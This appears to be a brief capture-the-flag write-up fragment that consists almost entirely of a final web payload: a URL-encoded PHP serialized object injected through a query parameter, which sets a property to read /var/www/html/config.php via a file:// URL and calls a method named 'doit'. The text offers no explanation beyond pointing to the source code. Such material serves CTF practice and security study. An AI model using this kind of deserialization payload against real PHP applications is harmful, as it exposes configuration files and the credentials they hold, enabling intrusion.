This is the final payload to get the flag:
```
/?gg=O:5:%22SHITS%22:2:{s:10:%22%00SHITS%00url%22;s:33:%22file:///var/www/html/config%252Ephp%22;s:13:%22%00SHITS%00method%22;s:4:%22doit%22;}
```

check the source code.